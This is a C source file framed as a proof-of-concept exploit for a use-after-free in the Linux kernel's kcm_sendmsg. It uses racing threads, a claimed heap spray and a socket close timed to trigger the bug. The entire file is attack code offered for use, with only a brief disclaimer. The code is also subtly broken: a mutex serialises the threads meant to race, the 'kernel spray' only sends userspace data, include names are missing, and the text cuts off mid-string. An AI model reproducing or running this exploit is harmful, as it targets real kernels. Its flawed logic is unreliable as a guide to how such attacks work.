/* * Advanced Linux Kernel kcm_sendmsg UAF Exploit PoC * * Description: * This PoC exploits a UAF vulnerability in the kcm_sendmsg function by creating * a sophisticated race condition between multiple threads. The scenario simulates * concurrent access and resource manipulation, triggering the UAF with higher * reliability. * * Note: This PoC is intended for research and educational purposes only. * Unauthorized use is illegal and unethical. */ #include #include #include #include #include #include #include #include #include // Global variables for synchronization and shared resources pthread_mutex_t mutex; int sockfd; char *spray_buffer; // Helper function to create and configure a KCM socket int create_kcm_socket() { int sock = socket(AF_KCM, SOCK_DGRAM, 0); if (sock < 0) { perror("Socket creation failed"); exit(EXIT_FAILURE); } return sock; } // Function to spray kernel heap with controlled data void kernel_heap_spray() { spray_buffer = (char *)malloc(4096); memset(spray_buffer, 'A', 4096); for (int i = 0; i < 1000; i++) { send(sockfd, spray_buffer, 4096, MSG_MORE); } } // Function to prepare and send a controlled message void send_controlled_message(int sockfd, const char *message, int flags) { struct msghdr msg; struct iovec iov; iov.iov_base = (void *)message; iov.iov_len = strlen(message) + 1; memset(&msg, 0, sizeof(msg)); msg.msg_iov = &iov; msg.msg_iovlen = 1; if (sendmsg(sockfd, &msg, flags) == -1) { perror("sendmsg"); } } // Thread A: Sends a crafted message with MSG_MORE to trigger the UAF void *thread_a_func(void *arg) { pthread_mutex_lock(&mutex); const char *msg_a = "Thread A: Crafting the UAF condition"; // Send a controlled message with MSG_MORE send_controlled_message(sockfd, msg_a, MSG_MORE); // Introduce a precise delay to manipulate the race condition usleep(5000); pthread_mutex_unlock(&mutex); return NULL; } // Thread B: Concurrently sprays the heap and sends a message void *thread_b_func(void *arg) { pthread_mutex_lock(&mutex); kernel_heap_spray(); // Spray the heap with controlled data const char *msg_b = "Thread B: Finalizing the message"; // Send a complete message to race with Thread A send_controlled_message(sockfd, msg_b, 0); pthread_mutex_unlock(&mutex); return NULL; } // Thread C: Attempts to free resources while Thread A and B are in progress void *thread_c_func(void *arg) { usleep(4500); // Delay slightly to overlap with A and B // Close the socket to trigger UAF and potential double-free close(sockfd); return NULL; } // Thread D: Creates additional network load to increase unpredictability void *thread_d_func(void *arg) { int tmp_sockfd = create_kcm_socket(); for (int i = 0; i < 100; i++) { send_controlled_message(tmp_sockfd, "Thread D: Creating noise", 0); } close(tmp_sockfd); return NULL; } int main() { pthread_t thread_a, thread_b, thread_c, thread_d; // Create and initialize KCM socket sockfd = create_kcm_socket(); // Initialize the mutex for synchronization pthread_mutex_init(&mutex, NULL); // Create threads to simulate the race condition and exploit UAF pthread_create(&thread_a, NULL, thread_a_func, NULL); pthread_create(&thread_b, NULL, thread_b_func, NULL); pthread_create(&thread_c, NULL, thread_c_func, NULL); pthread_create(&thread_d, NULL, thread_d_func, NULL); // Wait for all threads to finish execution pthread_join(thread_a, NULL); pthread_join(thread_b, NULL); pthread_join(thread_c, NULL); pthread_join(thread_d, NULL); // Clean up and release resources pthread_mutex_destroy(&mutex); free(spray_buffer); printf("Super Mega Modified PoC completed.
